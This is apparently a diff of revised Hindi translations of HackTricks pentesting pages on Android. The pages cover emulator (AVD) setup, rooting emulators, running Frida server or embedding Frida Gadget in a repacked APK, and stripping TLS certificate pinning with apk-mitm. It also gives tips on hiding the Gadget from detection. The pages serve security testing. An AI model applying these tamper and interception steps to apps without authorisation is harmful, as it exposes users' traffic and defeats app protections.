यदि instrumentation अवरुद्ध है, तो आप pinning को स्थैतिक रूप से हटाकर ट्रैफ़िक का निरीक्षण कर सकते हैं:
|
||||
If instrumentation is blocked, you can still inspect traffic by removing pinning statically:
|
||||
```bash
|
||||
apk-mitm app.apk
|
||||
# Then install the patched APK and proxy via Burp/mitmproxy
|
||||
```
|
||||
- टूल: https://github.com/shroudedcode/apk-mitm
|
||||
- नेटवर्क कॉन्फ़िग CA‑trust ट्रिक्स (और Android 7+ user CA trust) के लिए देखें:
|
||||
- नेटवर्क कॉन्फिग CA‑trust ट्रिक्स (और Android 7+ user CA trust) के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
make-apk-accept-ca-certificate.md
|
||||
@ -251,11 +251,11 @@ objection --gadget com.example.app explore
|
||||
# Static TLS pinning removal
|
||||
apk-mitm app.apk
|
||||
```
|
||||
## टिप्स और सावधानियाँ
|
||||
## सुझाव और चेतावनियाँ
|
||||
|
||||
- ऐप्स लॉन्च पर क्रैश होने पर spawning के बजाय attaching late करना बेहतर है
|
||||
- कुछ detections critical flows (e.g., payment, auth) में फिर से चलते हैं — navigation के दौरान hooks को active रखें
|
||||
- static और dynamic को mix करें: Jadx में string hunt करके classes shortlist करें; फिर runtime पर verify करने के लिए methods को hook करें
|
||||
- ऐप्स लॉन्च पर क्रैश होने पर spawning करने की बजाय देर से attaching करना बेहतर है
|
||||
- कुछ detections महत्वपूर्ण फ्लो (जैसे payment, auth) में पुनः चलते हैं — navigation के दौरान hooks सक्रिय रखें
|
||||
- Static और dynamic दोनों मिलाएँ: Jadx में string hunt करके क्लासेज़ shortlist करें; फिर runtime पर verify करने के लिए methods को hook करें
|
||||
- Hardened apps packers और native TLS pinning का उपयोग कर सकते हैं — native code को reverse करने की उम्मीद रखें
|
||||
|
||||
## संदर्भ
|
||||
|
||||
@ -1,24 +1,24 @@
|
||||
# AVD - Android वर्चुअल डिवाइस
|
||||
# AVD - Android Virtual Device
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
इस सामग्री को बनाने में उनकी मदद के लिए [**@offsecjay**](https://twitter.com/offsecjay) का बहुत-बहुत धन्यवाद।
|
||||
इस सामग्री को बनाते समय उनकी मदद के लिए [**@offsecjay**](https://twitter.com/offsecjay) का बहुत धन्यवाद।
|
||||
|
||||
## क्या है
|
||||
|
||||
Android Studio आपको **Android की virtual machines चलाने की अनुमति देता है जिन्हें आप APKs टेस्ट करने के लिए उपयोग कर सकते हैं**। इनका उपयोग करने के लिए आपको निम्न की आवश्यकता होगी:
|
||||
Android Studio आपको **Android की वर्चुअल मशीनें चलाने की अनुमति देता है जिन्हें आप APKs के परीक्षण के लिए उपयोग कर सकते हैं।** इन्हें इस्तेमाल करने के लिए आपको निम्न की आवश्यकता होगी:
|
||||
|
||||
- The **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools).
|
||||
- या **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio).
|
||||
|
||||
Windows में (मेरे मामले में) **Android Studio इंस्टॉल करने के बाद** मेरे पास **SDK Tools इस स्थान पर इंस्टॉल थे**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
|
||||
Windows में (मेरे मामले में) **Android Studio इंस्टॉल करने के बाद** मेरे पास **SDK Tools निम्न पथ पर इंस्टॉल थे**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
|
||||
|
||||
mac पर आप **SDK tools डाउनलोड कर सकते हैं** और PATH में जोड़ने के लिए चला सकते हैं:
|
||||
mac पर आप **SDK tools डाउनलोड कर सकते हैं** और उन्हें PATH में जोड़ने के लिए नीचे चलाएँ:
|
||||
```bash
|
||||
brew tap homebrew/cask
|
||||
brew install --cask android-sdk
|
||||
```
|
||||
या **Android Studio GUI** के माध्यम से जैसा कि [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) में बताया गया है, जो इन्हें `~/Library/Android/sdk/cmdline-tools/latest/bin/` और `~/Library/Android/sdk/platform-tools/` और `~/Library/Android/sdk/emulator/` में स्थापित करेगा
|
||||
Or from **Android Studio GUI** as indicated in [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) which will install them in `~/Library/Android/sdk/cmdline-tools/latest/bin/` and `~/Library/Android/sdk/platform-tools/` and `~/Library/Android/sdk/emulator/`
|
||||
|
||||
Java समस्याओं के लिए:
|
||||
```java
|
||||
@ -28,7 +28,7 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
|
||||
|
||||
### Prepare Virtual Machine
|
||||
|
||||
यदि आपने Android Studio इंस्टॉल किया है, तो आप मुख्य प्रोजेक्ट व्यू खोलकर सीधे _**Tools**_ --> _**AVD Manager**_ तक पहुँच सकते हैं।
|
||||
यदि आपने Android Studio इंस्टॉल किया है, तो आप मुख्य प्रोजेक्ट व्यू खोलकर पहुँच सकते हैं: _**Tools**_ --> _**AVD Manager.**_
|
||||
|
||||
<div align="center" data-full-width="false">
|
||||
|
||||
@ -40,32 +40,32 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
|
||||
|
||||
<figure><img src="../../images/image (1143).png" alt="" width="188"><figcaption></figcaption></figure>
|
||||
|
||||
_**वह फोन चुनें जिसे आप उपयोग करना चाहते हैं**_ और _**Next**_ पर क्लिक करें।
|
||||
_**चुनें** वह फोन जिसे आप उपयोग करना चाहते हैं_ और _**Next.**_ पर क्लिक करें।
|
||||
|
||||
> [!WARNING]
|
||||
> यदि आपको Play Store इंस्टॉल किया हुआ फोन चाहिए तो Play Store आइकन वाले फोन का चयन करें!
|
||||
> यदि आपको Play Store इंस्टॉल वाला फोन चाहिए तो Play Store आइकॉन वाला फोन चुनें!
|
||||
>
|
||||
> <img src="../../images/image (1144).png" alt="" data-size="original">
|
||||
|
||||
वर्तमान दृश्य में आप उस Android image को चुन (select) और डाउनलोड कर पाएँगे जिसे फोन चलाएगा:
|
||||
इस दृश्य में आप **Android image चुन और डाउनलोड कर सकेंगे** जिसे फोन चलाएगा:
|
||||
|
||||
<figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
इसे चुनें और अगर यह डाउनलोड नहीं हुआ है तो नाम के बगल में _**Download**_ आइकन पर क्लिक करें (डाउनलोड पूरा होने तक प्रतीक्षा करें)।\
|
||||
जब image डाउनलोड हो जाए, तो बस **`Next`** और **`Finish`** चुनें।
|
||||
तो, इसे चुनें और यदि यह डाउनलोड नहीं हुआ है तो नाम के बगल में मौजूद _**Download**_ चिह्न पर क्लिक करें (**अब प्रतीक्षा करें जब तक image डाउनलोड न हो जाए)।**\
|
||||
एक बार image डाउनलोड हो जाने पर, बस **`Next`** और **`Finish`** चुनें।
|
||||
|
||||
वर्चुअल मशीन बन जाएगी। अब **हर बार जब आप AVD manager को खोलेंगे यह वहाँ मौजूद रहेगा।**
|
||||
वर्चुअल मशीन बन जाएगी। अब **हर बार जब आप AVD manager तक पहुँचेंगे यह मौजूद रहेगा**।
|
||||
|
||||
### Run Virtual Machine
|
||||
|
||||
इसे **run** करने के लिए बस _**Start button**_ दबाएँ।
|
||||
इसे **चलाने** के लिए बस _**Start button**_ दबाएं।
|
||||
|
||||
.png>)
|
||||
|
||||
## Command Line tool
|
||||
|
||||
> [!WARNING]
|
||||
> For macOS you can find the `avdmanager` tool in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` and the `emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator` if you have them installed.
|
||||
> macOS के लिए आप `avdmanager` टूल को `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` में और `emulator` को `/Users/<username>/Library/Android/sdk/emulator/emulator` में पाएँगे यदि आपने इन्हें इंस्टॉल किया है।
|
||||
|
||||
सबसे पहले आपको **निर्णय लेना होगा कि आप कौन सा फोन उपयोग करना चाहते हैं**, संभावित फोन की सूची देखने के लिए निम्न कमांड चलाएँ:
|
||||
```
|
||||
@ -95,16 +95,15 @@ Name: Nexus 10
|
||||
OEM : Google
|
||||
[...]
|
||||
```
|
||||
एक बार जब आप उस डिवाइस का नाम तय कर लें जिसे आप उपयोग करना चाहते हैं, तो आपको यह तय करना होगा कि आप इस डिवाइस में कौन सा **Android image** चलाना चाहते हैं।\
|
||||
आप `sdkmanager` का उपयोग करके सभी विकल्प सूचीबद्ध कर सकते हैं:
|
||||
एक बार जब आप उस डिवाइस का नाम तय कर लें जिसे आप उपयोग करना चाहते हैं, तो आपको **तय करना होगा कि आप इस डिवाइस में कौन-सा Android image चलाना चाहते हैं।**\ आप `sdkmanager` का उपयोग करके सभी विकल्प सूचीबद्ध कर सकते हैं:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
|
||||
```
|
||||
और **डाउनलोड** करें उस एक (या सभी) को जिसे आप उपयोग करना चाहते हैं:
|
||||
और वह (या सभी) जिन्हें आप उपयोग करना चाहते हैं, **डाउनलोड** करें:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
|
||||
```
|
||||
एक बार जब आपने उपयोग करने के लिए Android image डाउनलोड कर लिया हो, तब आप निम्न के साथ **डाउनलोड की गई सभी Android images को सूचीबद्ध** कर सकते हैं:
|
||||
एक बार जब आपने उस Android image को डाउनलोड कर लिया है जिसे आप उपयोग करना चाहते हैं, तो आप निम्न के साथ **सभी डाउनलोड किए गए Android images** की सूची देख सकते हैं:
|
||||
```
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target
|
||||
----------
|
||||
@ -120,12 +119,11 @@ Type: Platform
|
||||
API level: 29
|
||||
Revision: 4
|
||||
```
|
||||
इस समय आपने वह डिवाइस चुन लिया है जिसका आप उपयोग करना चाहते हैं और आपने Android image डाउनलोड कर ली है, इसलिए **आप वर्चुअल मशीन का निर्माण निम्न का उपयोग करके कर सकते हैं:**
|
||||
अब आपने वह डिवाइस चुन लिया है जिसे आप उपयोग करना चाहते हैं और आपने Android image डाउनलोड कर लिया है, इसलिए **आप निम्न का उपयोग करके वर्चुअल मशीन बना सकते हैं**:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
|
||||
```
|
||||
पिछली कमांड में **मैंने VM बनाया जिसका नाम** "_AVD9_" **था**, **डिवाइस** "_Nexus 5X_" और **Android image** "_system-images;android-28;google_apis;x86_64_".\
|
||||
अब आप **वर्चुअल मशीनों की सूची** जिन्हें आपने बनाया है, निम्न के साथ देख सकते हैं:
|
||||
पिछले कमांड में **मैंने एक VM बनाया जिसका नाम** "_AVD9_" था, जो **डिवाइस** "_Nexus 5X_" और **Android image** "_system-images;android-28;google_apis;x86_64_" का उपयोग करके बनाया गया था.\\ अब आप **अपनी बनाई हुई वर्चुअल मशीनें सूचीबद्ध** कर सकते हैं:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
|
||||
|
||||
@ -140,55 +138,55 @@ Name: Pixel_2_API_27
|
||||
Path: C:\Users\cpolo\.android\avd\Pixel_2_API_27_1.avd
|
||||
Error: Google pixel_2 no longer exists as a device
|
||||
```
|
||||
### वर्चुअल मशीन चलाएँ
|
||||
### वर्चुअल मशीन चलाएं
|
||||
|
||||
> [!WARNING]
|
||||
> macOS के लिए आप `avdmanager` टूल को `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` और `emulator` को `/Users/<username>/Library/Android/sdk/emulator/emulator` में पा सकते हैं यदि वे इंस्टॉल हैं।
|
||||
> macOS के लिए आप `avdmanager` टूल को `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` में और `emulator` को `/Users/<username>/Library/Android/sdk/emulator/emulator` में पा सकते हैं यदि वे इंस्टॉल हैं।
|
||||
|
||||
हम पहले ही देख चुके हैं कि आप बनाए गए वर्चुअल मशीनों को कैसे सूचीबद्ध कर सकते हैं, लेकिन **आप इन्हें निम्न का उपयोग करके भी सूचीबद्ध कर सकते हैं**:
|
||||
हमने पहले ही देखा है कि आप बनाए गए वर्चुअल मशीनों को कैसे सूचीबद्ध कर सकते हैं, लेकिन **आप इन्हें निम्नलिखित का उपयोग करके भी सूचीबद्ध कर सकते हैं**:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
|
||||
AVD9
|
||||
Pixel_2_API_27
|
||||
```
|
||||
आप बस निम्नलिखित का उपयोग करके **बनी हुई किसी भी virtual machine को चला सकते हैं**:
|
||||
आप बस निम्न का उपयोग करके **बनाई गई किसी भी वर्चुअल मशीन को चला सकते हैं**:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName"
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
|
||||
```
|
||||
या अधिक उन्नत विकल्पों का उपयोग करके आप इस तरह एक वर्चुअल मशीन चला सकते हैं:
|
||||
या अधिक उन्नत विकल्पों का उपयोग करके आप निम्नलिखित तरह की वर्चुअल मशीन चला सकते हैं:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
|
||||
```
|
||||
### कमांड लाइन विकल्प
|
||||
|
||||
हालाँकि वर्चुअल मशीन शुरू करने के लिए आप उपयोग कर सकते हैं **कई अलग-अलग उपयोगी कमांड लाइन विकल्प**। नीचे कुछ दिलचस्प विकल्प दिए गए हैं लेकिन आप [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
|
||||
हालाँकि वर्चुअल मशीन शुरू करने के लिए कई उपयोगी कमांड लाइन विकल्प हैं। नीचे कुछ रोचक विकल्प दिए गए हैं, लेकिन आप [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
|
||||
|
||||
**बूट**
|
||||
|
||||
- `-snapshot name` : VM स्नैपशॉट शुरू करें
|
||||
- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : रिकॉर्ड किए गए सभी स्नैपशॉट सूचीबद्ध करें
|
||||
- `-snapshot name` : VM का snapshot शुरू करें
|
||||
- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : रिकॉर्ड किए गए सभी snapshots सूचीबद्ध करें
|
||||
|
||||
**नेटवर्क**
|
||||
|
||||
- `-dns-server 192.0.2.0, 192.0.2.255` : VM के लिए DNS सर्वरों को कॉमा से अलग करके बताने की अनुमति देता है।
|
||||
- **`-http-proxy 192.168.1.12:8080`** : इस्तेमाल करने के लिए HTTP proxy बताने की अनुमति देता है (Burp का उपयोग करके ट्रैफ़िक कैप्चर करने के लिए बहुत उपयोगी)
|
||||
- अगर किसी कारण से proxy सेटिंग्स काम नहीं कर रही हैं, तो उन्हें आंतरिक रूप से कॉन्फ़िगर करने की कोशिश करें या "Super Proxy" या "ProxyDroid" जैसे ऐप्लिकेशन का उपयोग करें।
|
||||
- `-netdelay 200` : नेटवर्क विलंबता एमुलेशन (मिलीसेकंड में) सेट करें।
|
||||
- `-port 5556` : उस TCP पोर्ट नंबर को सेट करें जिसका उपयोग console और adb के लिए किया जाता है।
|
||||
- `-ports 5556,5559` : console और adb के लिए उपयोग किए जाने वाले TCP पोर्ट सेट करें।
|
||||
- **`-tcpdump /path/dumpfile.cap`** : सभी ट्रैफ़िक को एक फ़ाइल में कैप्चर करें
|
||||
- `-dns-server 192.0.2.0, 192.0.2.255` : VM को कॉमा से अलग किए गए DNS सर्वर निर्दिष्ट करने की अनुमति देता है।
|
||||
- **`-http-proxy 192.168.1.12:8080`** : इस्तेमाल करने के लिए HTTP proxy निर्दिष्ट करने की अनुमति देता है (ट्रैफिक कैप्चर करने के लिए Burp का उपयोग करते समय बहुत उपयोगी)
|
||||
- यदि किसी कारण से proxy सेटिंग्स काम नहीं कर रही हैं, तो उन्हें अंदरूनी तौर पर कॉन्फ़िगर करने या Super Proxy या ProxyDroid जैसे ऐप का उपयोग करने का प्रयास करें।
|
||||
- `-netdelay 200` : नेटवर्क लेटेंसी एमुलेशन मिलीसेकंड में सेट करें।
|
||||
- `-port 5556` : कंसोल और adb के लिए उपयोग किए जाने वाले TCP पोर्ट नंबर को सेट करें।
|
||||
- `-ports 5556,5559` : कंसोल और adb के लिए उपयोग किए जाने वाले TCP पोर्ट सेट करें।
|
||||
- **`-tcpdump /path/dumpfile.cap`** : सभी ट्रैफिक को फ़ाइल में कैप्चर करें
|
||||
|
||||
**सिस्टम**
|
||||
|
||||
- `-selinux {disabled|permissive}` : Linux ऑपरेटिंग सिस्टम पर Security-Enhanced Linux सुरक्षा मॉड्यूल को disabled या permissive मोड में सेट करें।
|
||||
- `-selinux {disabled|permissive}` : Security-Enhanced Linux सुरक्षा मॉड्यूल को Linux ऑपरेटिंग सिस्टम पर disabled या permissive मोड में सेट करें।
|
||||
- `-timezone Europe/Paris` : वर्चुअल डिवाइस के लिए टाइमज़ोन सेट करें
|
||||
- `-screen {touch(default)|multi-touch|o-touch}` : इम्यूलेटेड टच स्क्रीन मोड सेट करें।
|
||||
- **`-writable-system`** : इस विकल्प का उपयोग करें ताकि आपके एमुलेशन सत्र के दौरान सिस्टम इमेज लिखने योग्य हो। आपको साथ ही `adb root; adb remount` भी चलाना होगा। यह सिस्टम में नया प्रमाणपत्र इंस्टॉल करने के लिए बहुत उपयोगी है।
|
||||
- `-screen {touch(default)|multi-touch|o-touch}` : एमुलेटेड टच स्क्रीन मोड सेट करें।
|
||||
- **`-writable-system`** : इस ऑप्शन का उपयोग करके अपनी एमुलेशन सत्र के दौरान एक लिखने योग्य सिस्टम इमेज रखें। आपको साथ में `adb root; adb remount` भी चलाना होगा। यह सिस्टम में नया certificate इंस्टॉल करने के लिए बहुत उपयोगी है।
|
||||
|
||||
## Linux CLI setup (SDK/AVD quickstart)
|
||||
## Linux CLI सेटअप (SDK/AVD quickstart)
|
||||
|
||||
आधिकारिक CLI tools Android Studio के बिना तेज़, डिबग करने योग्य इम्यूलेटर्स बनाना आसान बनाते हैं।
|
||||
आधिकारिक CLI टूल्स Android Studio के बिना तेज़, डिबग करने योग्य इमुलेटर बनाने को आसान बनाते हैं।
|
||||
```bash
|
||||
# Directory layout
|
||||
mkdir -p ~/Android/cmdline-tools/latest
|
||||
@ -216,10 +214,10 @@ emulator -avd PixelRootX86 -writable-system -snapshot PixelRootX86_snap
|
||||
adb root
|
||||
adb shell whoami # expect: root
|
||||
```
|
||||
नोट्स
|
||||
- सिस्टम इमेज फ्लेवर्स: google_apis (debuggable, adb root की अनुमति), google_apis_playstore (rootable नहीं), aosp/default (हल्का).
|
||||
- बिल्ड प्रकार: userdebug अक्सर debug-capable images पर `adb root` की अनुमति देता है। Play Store images प्रोडक्शन बिल्ड होते हैं और root को ब्लॉक करते हैं।
|
||||
- x86_64 होस्ट्स पर, API 28+ से पूर्ण-सिस्टम ARM64 इम्यूलेशन समर्थित नहीं है। Android 11+ पर तेज़ी से कई ARM-only apps चलाने के लिए उन Google APIs/Play images का उपयोग करें जिनमें per-app ARM-to-x86 translation शामिल है।
|
||||
Notes
|
||||
- System image flavors: google_apis (डिबग करने योग्य, `adb root` की अनुमति), google_apis_playstore (rootable नहीं), aosp/default (हल्का).
|
||||
- Build types: userdebug अक्सर डिबग-समर्थ इमेज पर `adb root` की अनुमति देता है। Play Store images production builds होते हैं और root को ब्लॉक करते हैं।
|
||||
- x86_64 hosts पर, full-system ARM64 emulation API 28+ से समर्थित नहीं है। Android 11+ के लिए Google APIs/Play images का उपयोग करें जिनमें per-app ARM-to-x86 translation शामिल है ताकि कई ARM-only apps तेज़ी से चलें।
|
||||
|
||||
### CLI से स्नैपशॉट्स
|
||||
```bash
|
||||
@ -229,24 +227,25 @@ adb -s emulator-5554 emu avd snapshot save my_clean_setup
|
||||
# Boot from a named snapshot (if it exists)
|
||||
emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup
|
||||
```
|
||||
## ARM→x86 बाइनरी अनुवाद (Android 11+)
|
||||
## ARM→x86 बाइनरी ट्रांसलेशन (Android 11+)
|
||||
|
||||
Android 11+ पर Google APIs और Play Store images प्रति प्रोसेस ARM app binaries का अनुवाद कर सकते हैं, जबकि सिस्टम के बाकी हिस्से को native x86/x86_64 पर रखा जाता है। यह अक्सर desktop पर कई ARM-only apps का परीक्षण करने के लिए पर्याप्त तेज़ होता है।
|
||||
Google APIs और Play Store images Android 11+ पर प्रोसेस-वार ARM ऐप बाइनरीज़ को ट्रांसलेट कर सकते हैं, जबकि सिस्टम का बाकी हिस्सा native x86/x86_64 रहता है। यह अक्सर डेस्कटॉप पर कई ARM-only ऐप्स का परीक्षण करने के लिए पर्याप्त तेज़ होता है।
|
||||
|
||||
> टिप: pentests के दौरान Google APIs x86/x86_64 images को प्राथमिकता दें। Play images सुविधाजनक हैं लेकिन `adb root` को ब्लॉक करती हैं; इन्हें तभी उपयोग करें जब आपको विशेष रूप से Play services की आवश्यकता हो और root के अभाव को स्वीकार कर लें।
|
||||
> Tip: pentests के दौरान Google APIs x86/x86_64 images को प्राथमिकता दें। Play images सुविधाजनक हैं लेकिन `adb root` को ब्लॉक करते हैं; इन्हें केवल तब ही उपयोग करें जब आपको विशेष रूप से Play services की आवश्यकता हो और root की कमी स्वीकार करते हों।
|
||||
|
||||
## Rooting a Play Store device
|
||||
|
||||
यदि आपने Play Store वाला device डाउनलोड किया है तो आप सीधे root प्राप्त नहीं कर पाएंगे, और आपको यह त्रुटि संदेश मिलेगा
|
||||
यदि आपने Play Store के साथ कोई डिवाइस डाउनलोड किया है, तो आप सीधे root प्राप्त करने में सक्षम नहीं होंगे, और आपको यह त्रुटि संदेश मिलेगा
|
||||
```
|
||||
$ adb root
|
||||
adbd cannot run as root in production builds
|
||||
```
|
||||
Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) का उपयोग करके मैं इसे root कर पाया (उदाहरण के लिए [**यह वीडियो**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) या [**यह वाला**](https://www.youtube.com/watch?v=qQicUW0svB8)).
|
||||
Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) मैं इसे root करने में सफल रहा (उदाहरण के लिए [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) या [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8) देखें).
|
||||
|
||||
## Burp Certificate इंस्टॉल करें
|
||||
|
||||
custom CA cert कैसे इंस्टॉल करें जानने के लिए निम्नलिखित पृष्ठ देखें:
|
||||
कस्टम CA cert कैसे इंस्टॉल करना है जानने के लिए निम्नलिखित पेज देखें:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
install-burp-certificate.md
|
||||
|
||||
@ -10,12 +10,12 @@
|
||||
pip install frida-tools
|
||||
pip install frida
|
||||
```
|
||||
**डाउनलोड और इंस्टॉल** Android में **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
|
||||
adb को root मोड में restart करने, उससे connect करने, frida-server अपलोड करने, exec permissions देने और इसे बैकग्राउंड में चलाने के लिए One-liner:
|
||||
**डाउनलोड और इंस्टॉल करें** एंड्रॉइड में **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
|
||||
एक-लाइन कमांड जो adb को root मोड में restart करने, उससे कनेक्ट होने, frida-server अपलोड करने, exec permissions देने और इसे पृष्ठभूमि में चलाने के लिए:
|
||||
```bash
|
||||
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
|
||||
```
|
||||
**जाँचें** क्या यह **काम कर रहा है**:
|
||||
**जांचें** कि यह **काम कर रहा है**:
|
||||
```bash
|
||||
frida-ps -U #List packages and processes
|
||||
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
||||
@ -24,8 +24,8 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
||||
|
||||
Frida के साथ Android apps को instrument करने के दो सामान्य तरीके:
|
||||
|
||||
- Frida server (rooted devices): एक native daemon को push करके चलाएँ जो आपको किसी भी process से attach करने की अनुमति देता है।
|
||||
- Frida Gadget (no root): Frida को APK के अंदर एक shared library के रूप में bundle करें और इसे target process के भीतर auto-load कराएँ।
|
||||
- Frida server (rooted devices): एक native daemon को push करके और चलाएँ जो आपको किसी भी process में attach करने की अनुमति देता है।
|
||||
- Frida Gadget (no root): Frida को APK के अंदर एक shared library के रूप में bundle करें और उसे target process के अंदर auto-load कराएँ।
|
||||
|
||||
Frida server (rooted)
|
||||
```bash
|
||||
@ -43,20 +43,20 @@ frida -U -n com.example.app
|
||||
Frida Gadget (no-root)
|
||||
|
||||
1) APK को अनपैक करें, gadget .so और config जोड़ें:
|
||||
- libfrida-gadget.so को lib/<abi>/ में रखें (e.g., lib/arm64-v8a/)
|
||||
- assets/frida-gadget.config बनाएँ और इसमें अपनी script लोड करने की सेटिंग्स डालें
|
||||
- libfrida-gadget.so को lib/<abi>/ में रखें (उदा., lib/arm64-v8a/)
|
||||
- assets/frida-gadget.config बनाएं और उसमें अपने script loading settings डालें
|
||||
|
||||
Example frida-gadget.config
|
||||
उदाहरण frida-gadget.config
|
||||
```json
|
||||
{
|
||||
"interaction": { "type": "script", "path": "/sdcard/ssl-bypass.js" },
|
||||
"runtime": { "logFile": "/sdcard/frida-gadget.log" }
|
||||
}
|
||||
```
|
||||
2) गैजेट को रेफ़रेंस/लोड करें ताकि यह जल्दी इनिशियलाइज़ हो:
|
||||
- सबसे आसान: Application.onCreate() में System.loadLibrary("frida-gadget") कॉल करने वाला एक छोटा Java stub जोड़ें, या पहले से मौजूद native lib loading का उपयोग करें।
|
||||
2) गैजेट को संदर्भित/लोड करें ताकि यह जल्दी इनिशियलाइज़ हो:
|
||||
- सबसे आसान: एक छोटा Java stub जोड़ें जो System.loadLibrary("frida-gadget") को Application.onCreate() में कॉल करे, या पहले से मौजूद native lib loading का उपयोग करें।
|
||||
|
||||
3) APK को रिपैक और साइन करें, फिर इंस्टॉल करें:
|
||||
3) APK को रीपैक और साइन करें, फिर इंस्टॉल करें:
|
||||
```bash
|
||||
apktool d app.apk -o app_m
|
||||
# ... add gadget .so and config ...
|
||||
@ -64,44 +64,44 @@ apktool b app_m -o app_gadget.apk
|
||||
uber-apk-signer -a app_gadget.apk -o out_signed
|
||||
adb install -r out_signed/app_gadget-aligned-debugSigned.apk
|
||||
```
|
||||
4) होस्ट से gadget process में Attach करें:
|
||||
4) host से gadget process को Attach करें:
|
||||
```bash
|
||||
frida-ps -Uai
|
||||
frida -U -n com.example.app
|
||||
```
|
||||
Notes
|
||||
- कुछ सुरक्षा उपाय Gadget का पता लगा सकते हैं; names/paths को छिपा रखें और आवश्यकता होने पर उन्हें देर से/शर्तों के अनुसार लोड करें।
|
||||
- सख्त-सुरक्षा वाले ऐप्स पर, server + late attach के साथ rooted testing को प्राथमिकता दें, या Magisk/Zygisk hiding के साथ संयोजित करें।
|
||||
नोट्स
|
||||
- Gadget कुछ सुरक्षा उपायों द्वारा पता लगाया जाता है; नाम/पथों को गुप्त रखें और आवश्यकता होने पर इन्हें देर से/शर्तों पर लोड करें।
|
||||
- सख्त सुरक्षा वाले apps पर, rooted testing with server + late attach को प्राथमिकता दें, या Magisk/Zygisk hiding के साथ संयोजन करें।
|
||||
|
||||
## ट्यूटोरियल्स
|
||||
## ट्यूटोरियल
|
||||
|
||||
### [Tutorial 1](frida-tutorial-1.md)
|
||||
|
||||
**स्रोत**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
||||
**स्रोत कोड**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||
**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||
|
||||
**पढ़ने के लिए [यहाँ क्लिक करें](frida-tutorial-1.md).**
|
||||
**Follow the [link to read it](frida-tutorial-1.md).**
|
||||
|
||||
### [Tutorial 2](frida-tutorial-2.md)
|
||||
|
||||
**स्रोत**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
|
||||
**APKs और स्रोत कोड**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
|
||||
**पढ़ने के लिए [यहाँ क्लिक करें](frida-tutorial-2.md).**
|
||||
**Follow the[ link to read it.](frida-tutorial-2.md)**
|
||||
|
||||
### [Tutorial 3](owaspuncrackable-1.md)
|
||||
|
||||
**स्रोत**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||
